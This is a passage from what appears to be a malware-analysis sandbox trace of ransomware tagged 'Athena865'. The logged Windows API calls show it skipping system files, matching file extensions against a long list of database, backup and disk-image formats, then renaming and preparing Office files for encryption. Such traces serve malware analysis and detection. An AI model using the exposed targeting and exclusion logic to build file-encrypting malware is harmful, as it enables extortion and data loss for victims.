3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="fp4") returned 1 [0144.002] lstrlenW (lpString="fp5") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="fp5") returned 1 [0144.002] lstrlenW (lpString="fp7") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="fp7") returned 1 [0144.002] lstrlenW (lpString="fpt") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="fpt") returned 1 [0144.002] lstrlenW (lpString="frm") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="frm") returned 1 [0144.002] lstrlenW (lpString="gdb") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0144.002] lstrlenW (lpString="gdb") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0144.002] lstrlenW (lpString="grdb") returned 4 [0144.002] lstrcmpiW (lpString1=".VSL", lpString2="grdb") returned -1 [0144.002] lstrlenW (lpString="gwi") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="gwi") returned 1 [0144.002] lstrlenW (lpString="hdb") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="hdb") returned 1 [0144.002] lstrlenW (lpString="his") returned 3 [0144.002] lstrcmpiW (lpString1="VSL", lpString2="his") returned 1 [0144.002] lstrlenW (lpString="ib") returned 2 [0144.002] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0144.003] lstrlenW (lpString="idb") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="idb") returned 1 [0144.003] lstrlenW (lpString="ihx") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="ihx") returned 1 [0144.003] lstrlenW (lpString="itdb") returned 4 [0144.003] lstrcmpiW (lpString1=".VSL", lpString2="itdb") returned -1 [0144.003] lstrlenW (lpString="itw") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="itw") returned 1 [0144.003] lstrlenW (lpString="jet") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="jet") returned 1 [0144.003] lstrlenW (lpString="jtx") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="jtx") returned 1 [0144.003] lstrlenW (lpString="kdb") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="kdb") returned 1 [0144.003] lstrlenW (lpString="kexi") returned 4 [0144.003] lstrcmpiW (lpString1=".VSL", lpString2="kexi") returned -1 [0144.003] lstrlenW (lpString="kexic") returned 5 [0144.003] lstrcmpiW (lpString1="T.VSL", lpString2="kexic") returned 1 [0144.003] lstrlenW (lpString="kexis") returned 5 [0144.003] lstrcmpiW (lpString1="T.VSL", lpString2="kexis") returned 1 [0144.003] lstrlenW (lpString="lgc") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="lgc") returned 1 [0144.003] lstrlenW (lpString="lwx") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="lwx") returned 1 [0144.003] lstrlenW (lpString="maf") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="maf") returned 1 [0144.003] lstrlenW (lpString="maq") returned 3 [0144.003] lstrcmpiW (lpString1="VSL", lpString2="maq") returned 1 [0144.004] lstrlenW (lpString="mar") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mar") returned 1 [0144.004] lstrlenW (lpString="marshal") returned 7 [0144.004] lstrcmpiW (lpString1="ART.VSL", lpString2="marshal") returned -1 [0144.004] lstrlenW (lpString="mas") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mas") returned 1 [0144.004] lstrlenW (lpString="mav") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mav") returned 1 [0144.004] lstrlenW (lpString="maw") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="maw") returned 1 [0144.004] lstrlenW (lpString="mdbhtml") returned 7 [0144.004] lstrcmpiW (lpString1="ART.VSL", lpString2="mdbhtml") returned -1 [0144.004] lstrlenW (lpString="mdn") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mdn") returned 1 [0144.004] lstrlenW (lpString="mdt") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mdt") returned 1 [0144.004] lstrlenW (lpString="mfd") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mfd") returned 1 [0144.004] lstrlenW (lpString="mpd") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mpd") returned 1 [0144.004] lstrlenW (lpString="mrg") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mrg") returned 1 [0144.004] lstrlenW (lpString="mud") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mud") returned 1 [0144.004] lstrlenW (lpString="mwb") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="mwb") returned 1 [0144.004] lstrlenW (lpString="myd") returned 3 [0144.004] lstrcmpiW (lpString1="VSL", lpString2="myd") returned 1 [0144.004] lstrlenW (lpString="ndf") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="ndf") returned 1 [0144.005] lstrlenW (lpString="nnt") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="nnt") returned 1 [0144.005] lstrlenW (lpString="nrmlib") returned 6 [0144.005] lstrcmpiW (lpString1="RT.VSL", lpString2="nrmlib") returned 1 [0144.005] lstrlenW (lpString="ns2") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="ns2") returned 1 [0144.005] lstrlenW (lpString="ns3") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="ns3") returned 1 [0144.005] lstrlenW (lpString="ns4") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="ns4") returned 1 [0144.005] lstrlenW (lpString="nsf") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="nsf") returned 1 [0144.005] lstrlenW (lpString="nv") returned 2 [0144.005] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0144.005] lstrlenW (lpString="nv2") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="nv2") returned 1 [0144.005] lstrlenW (lpString="nwdb") returned 4 [0144.005] lstrcmpiW (lpString1=".VSL", lpString2="nwdb") returned -1 [0144.005] lstrlenW (lpString="nyf") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="nyf") returned 1 [0144.005] lstrlenW (lpString="odb") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0144.005] lstrlenW (lpString="odb") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0144.005] lstrlenW (lpString="oqy") returned 3 [0144.005] lstrcmpiW (lpString1="VSL", lpString2="oqy") returned 1 [0144.006] lstrlenW (lpString="ora") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="ora") returned 1 [0144.006] lstrlenW (lpString="orx") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="orx") returned 1 [0144.006] lstrlenW (lpString="owc") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="owc") returned 1 [0144.006] lstrlenW (lpString="p96") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="p96") returned 1 [0144.006] lstrlenW (lpString="p97") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="p97") returned 1 [0144.006] lstrlenW (lpString="pan") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="pan") returned 1 [0144.006] lstrlenW (lpString="pdb") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="pdb") returned 1 [0144.006] lstrlenW (lpString="pdm") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="pdm") returned 1 [0144.006] lstrlenW (lpString="pnz") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="pnz") returned 1 [0144.006] lstrlenW (lpString="qry") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="qry") returned 1 [0144.006] lstrlenW (lpString="qvd") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="qvd") returned 1 [0144.006] lstrlenW (lpString="rbf") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="rbf") returned 1 [0144.006] lstrlenW (lpString="rctd") returned 4 [0144.006] lstrcmpiW (lpString1=".VSL", lpString2="rctd") returned -1 [0144.006] lstrlenW (lpString="rod") returned 3 [0144.006] lstrcmpiW (lpString1="VSL", lpString2="rod") returned 1 [0144.007] lstrlenW (lpString="rodx") returned 4 [0144.007] lstrcmpiW (lpString1=".VSL", lpString2="rodx") returned -1 [0144.007] lstrlenW (lpString="rpd") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="rpd") returned 1 [0144.007] lstrlenW (lpString="rsd") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="rsd") returned 1 [0144.007] lstrlenW (lpString="sas7bdat") returned 8 [0144.007] lstrcmpiW (lpString1="HART.VSL", lpString2="sas7bdat") returned -1 [0144.007] lstrlenW (lpString="sbf") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="sbf") returned 1 [0144.007] lstrlenW (lpString="scx") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="scx") returned 1 [0144.007] lstrlenW (lpString="sdb") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="sdb") returned 1 [0144.007] lstrlenW (lpString="sdc") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="sdc") returned 1 [0144.007] lstrlenW (lpString="sdf") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="sdf") returned 1 [0144.007] lstrlenW (lpString="sis") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="sis") returned 1 [0144.007] lstrlenW (lpString="spq") returned 3 [0144.007] lstrcmpiW (lpString1="VSL", lpString2="spq") returned 1 [0144.007] lstrlenW (lpString="te") returned 2 [0144.007] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0144.007] lstrlenW (lpString="teacher") returned 7 [0144.007] lstrcmpiW (lpString1="ART.VSL", lpString2="teacher") returned -1 [0144.008] lstrlenW (lpString="tmd") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="tmd") returned 1 [0144.008] lstrlenW (lpString="tps") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="tps") returned 1 [0144.008] lstrlenW (lpString="trc") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0144.008] lstrlenW (lpString="trc") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0144.008] lstrlenW (lpString="trm") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="trm") returned 1 [0144.008] lstrlenW (lpString="udb") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="udb") returned 1 [0144.008] lstrlenW (lpString="udl") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="udl") returned 1 [0144.008] lstrlenW (lpString="usr") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="usr") returned 1 [0144.008] lstrlenW (lpString="v12") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="v12") returned 1 [0144.008] lstrlenW (lpString="vis") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="vis") returned 1 [0144.008] lstrlenW (lpString="vpd") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="vpd") returned 1 [0144.008] lstrlenW (lpString="vvv") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="vvv") returned -1 [0144.008] lstrlenW (lpString="wdb") returned 3 [0144.008] lstrcmpiW (lpString1="VSL", lpString2="wdb") returned -1 [0144.008] lstrlenW (lpString="wmdb") returned 4 [0144.009] lstrcmpiW (lpString1=".VSL", lpString2="wmdb") returned -1 [0144.009] lstrlenW (lpString="wrk") returned 3 [0144.009] lstrcmpiW (lpString1="VSL", lpString2="wrk") returned -1 [0144.009] lstrlenW (lpString="xdb") returned 3 [0144.009] lstrcmpiW (lpString1="VSL", lpString2="xdb") returned -1 [0144.009] lstrlenW (lpString="xld") returned 3 [0144.009] lstrcmpiW (lpString1="VSL", lpString2="xld") returned -1 [0144.009] lstrlenW (lpString="xmlff") returned 5 [0144.009] lstrcmpiW (lpString1="T.VSL", lpString2="xmlff") returned -1 [0144.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.Athena865") returned 70 [0144.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.athena865"), dwFlags=0x1) returned 1 [0144.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.011] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=57248) returned 1 [0144.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.012] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.012] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.012] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.013] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe2a0, lpName=0x0) returned 0x17c [0144.014] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe2a0) returned 0x100000 [0144.017] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.017] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.017] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.018] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.019] CloseHandle (hObject=0x17c) returned 1 [0144.019] CloseHandle (hObject=0x154) returned 1 [0144.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.019] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORGPOS.VRD", cAlternateFileName="")) returned 1 [0144.019] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2=".") returned 1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="..") returned 1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="windows") returned -1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="bootmgr") returned 1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="temp") returned -1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="pagefile.sys") returned -1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="boot") returned 1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="ids.txt") returned 1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="ntuser.dat") returned 1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="perflogs") returned -1 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2="MSBuild") returned 1 [0144.020] lstrlenW (lpString="ORGPOS.VRD") returned 10 [0144.020] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ORGPOS.VRD" | out: lpString1="ORGPOS.VRD") returned="ORGPOS.VRD" [0144.020] lstrlenW (lpString="ORGPOS.VRD") returned 10 [0144.020] lstrlenW (lpString="Athena865") returned 9 [0144.020] lstrcmpiW (lpString1="RGPOS.VRD", lpString2="Athena865") returned 1 [0144.020] lstrlenW (lpString=".dll") returned 4 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2=".dll") returned 1 [0144.020] lstrlenW (lpString=".lnk") returned 4 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2=".lnk") returned 1 [0144.020] lstrlenW (lpString=".ini") returned 4 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2=".ini") returned 1 [0144.020] lstrlenW (lpString=".sys") returned 4 [0144.020] lstrcmpiW (lpString1="ORGPOS.VRD", lpString2=".sys") returned 1 [0144.020] lstrlenW (lpString="ORGPOS.VRD") returned 10 [0144.020] lstrlenW (lpString="bak") returned 3 [0144.020] lstrcmpiW (lpString1="VRD", lpString2="bak") returned 1 [0144.020] lstrlenW (lpString="ba_") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="ba_") returned 1 [0144.021] lstrlenW (lpString="dbb") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="dbb") returned 1 [0144.021] lstrlenW (lpString="vmdk") returned 4 [0144.021] lstrcmpiW (lpString1=".VRD", lpString2="vmdk") returned -1 [0144.021] lstrlenW (lpString="rar") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="rar") returned 1 [0144.021] lstrlenW (lpString="zip") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="zip") returned -1 [0144.021] lstrlenW (lpString="tgz") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="tgz") returned 1 [0144.021] lstrlenW (lpString="vbox") returned 4 [0144.021] lstrcmpiW (lpString1=".VRD", lpString2="vbox") returned -1 [0144.021] lstrlenW (lpString="vdi") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="vdi") returned 1 [0144.021] lstrlenW (lpString="vhd") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="vhd") returned 1 [0144.021] lstrlenW (lpString="vhdx") returned 4 [0144.021] lstrcmpiW (lpString1=".VRD", lpString2="vhdx") returned -1 [0144.021] lstrlenW (lpString="avhd") returned 4 [0144.021] lstrcmpiW (lpString1=".VRD", lpString2="avhd") returned -1 [0144.021] lstrlenW (lpString="db") returned 2 [0144.021] lstrcmpiW (lpString1="RD", lpString2="db") returned 1 [0144.021] lstrlenW (lpString="db2") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="db2") returned 1 [0144.021] lstrlenW (lpString="db3") returned 3 [0144.021] lstrcmpiW (lpString1="VRD", lpString2="db3") returned 1 [0144.021] lstrlenW (lpString="dbf") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="dbf") returned 1 [0144.022] lstrlenW (lpString="mdf") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="mdf") returned 1 [0144.022] lstrlenW (lpString="mdb") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="mdb") returned 1 [0144.022] lstrlenW (lpString="sql") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="sql") returned 1 [0144.022] lstrlenW (lpString="sqlite") returned 6 [0144.022] lstrcmpiW (lpString1="OS.VRD", lpString2="sqlite") returned -1 [0144.022] lstrlenW (lpString="sqlite3") returned 7 [0144.022] lstrcmpiW (lpString1="POS.VRD", lpString2="sqlite3") returned -1 [0144.022] lstrlenW (lpString="sqlitedb") returned 8 [0144.022] lstrcmpiW (lpString1="GPOS.VRD", lpString2="sqlitedb") returned -1 [0144.022] lstrlenW (lpString="xml") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="xml") returned -1 [0144.022] lstrlenW (lpString="$er") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="$er") returned 1 [0144.022] lstrlenW (lpString="4dd") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="4dd") returned 1 [0144.022] lstrlenW (lpString="4dl") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="4dl") returned 1 [0144.022] lstrlenW (lpString="^^^") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="^^^") returned 1 [0144.022] lstrlenW (lpString="abs") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="abs") returned 1 [0144.022] lstrlenW (lpString="abx") returned 3 [0144.022] lstrcmpiW (lpString1="VRD", lpString2="abx") returned 1 [0144.023] lstrlenW (lpString="accdb") returned 5 [0144.023] lstrcmpiW (lpString1="S.VRD", lpString2="accdb") returned 1 [0144.023] lstrlenW (lpString="accdc") returned 5 [0144.023] lstrcmpiW (lpString1="S.VRD", lpString2="accdc") returned 1 [0144.023] lstrlenW (lpString="accde") returned 5 [0144.023] lstrcmpiW (lpString1="S.VRD", lpString2="accde") returned 1 [0144.023] lstrlenW (lpString="accdr") returned 5 [0144.023] lstrcmpiW (lpString1="S.VRD", lpString2="accdr") returned 1 [0144.023] lstrlenW (lpString="accdt") returned 5 [0144.023] lstrcmpiW (lpString1="S.VRD", lpString2="accdt") returned 1 [0144.023] lstrlenW (lpString="accdw") returned 5 [0144.023] lstrcmpiW (lpString1="S.VRD", lpString2="accdw") returned 1 [0144.023] lstrlenW (lpString="accft") returned 5 [0144.023] lstrcmpiW (lpString1="S.VRD", lpString2="accft") returned 1 [0144.023] lstrlenW (lpString="adb") returned 3 [0144.023] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0144.023] lstrlenW (lpString="adb") returned 3 [0144.023] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0144.023] lstrlenW (lpString="ade") returned 3 [0144.023] lstrcmpiW (lpString1="VRD", lpString2="ade") returned 1 [0144.023] lstrlenW (lpString="adf") returned 3 [0144.023] lstrcmpiW (lpString1="VRD", lpString2="adf") returned 1 [0144.023] lstrlenW (lpString="adn") returned 3 [0144.023] lstrcmpiW (lpString1="VRD", lpString2="adn") returned 1 [0144.023] lstrlenW (lpString="adp") returned 3 [0144.023] lstrcmpiW (lpString1="VRD", lpString2="adp") returned 1 [0144.023] lstrlenW (lpString="alf") returned 3 [0144.023] lstrcmpiW (lpString1="VRD", lpString2="alf") returned 1 [0144.023] lstrlenW (lpString="ask") returned 3 [0144.023] lstrcmpiW (lpString1="VRD", lpString2="ask") returned 1 [0144.024] lstrlenW (lpString="btr") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="btr") returned 1 [0144.024] lstrlenW (lpString="cat") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="cat") returned 1 [0144.024] lstrlenW (lpString="cdb") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="cdb") returned 1 [0144.024] lstrlenW (lpString="ckp") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="ckp") returned 1 [0144.024] lstrlenW (lpString="cma") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="cma") returned 1 [0144.024] lstrlenW (lpString="cpd") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="cpd") returned 1 [0144.024] lstrlenW (lpString="dacpac") returned 6 [0144.024] lstrcmpiW (lpString1="OS.VRD", lpString2="dacpac") returned 1 [0144.024] lstrlenW (lpString="dad") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="dad") returned 1 [0144.024] lstrlenW (lpString="dadiagrams") returned 10 [0144.024] lstrlenW (lpString="daschema") returned 8 [0144.024] lstrcmpiW (lpString1="GPOS.VRD", lpString2="daschema") returned 1 [0144.024] lstrlenW (lpString="db-journal") returned 10 [0144.024] lstrlenW (lpString="db-shm") returned 6 [0144.024] lstrcmpiW (lpString1="OS.VRD", lpString2="db-shm") returned 1 [0144.024] lstrlenW (lpString="db-wal") returned 6 [0144.024] lstrcmpiW (lpString1="OS.VRD", lpString2="db-wal") returned 1 [0144.024] lstrlenW (lpString="dbc") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="dbc") returned 1 [0144.024] lstrlenW (lpString="dbs") returned 3 [0144.024] lstrcmpiW (lpString1="VRD", lpString2="dbs") returned 1 [0144.025] lstrcmpiW (lpString1="VRD", lpString2="dbt") returned 1 [0144.025] lstrcmpiW (lpString1="VRD", lpString2="dbv") returned 1 [0144.025] lstrcmpiW (lpString1="VRD", lpString2="dbx") returned 1 [0144.025] lstrcmpiW (lpString1="VRD", lpString2="dcb") returned 1 [0144.025] lstrcmpiW (lpString1="VRD", lpString2="dct") returned 1 [0144.025] lstrcmpiW (lpString1="VRD", lpString2="dcx") returned 1 [0144.025] lstrcmpiW (lpString1="VRD", lpString2="ddl") returned 1 [0144.025] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.Athena865") returned 68 [0144.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.athena865"), dwFlags=0x1) returned 1 [0144.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.027] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1098) returned 1 [0144.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.027] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.028] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.028] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.028] CreateFileMappingW (hFile=0x154, 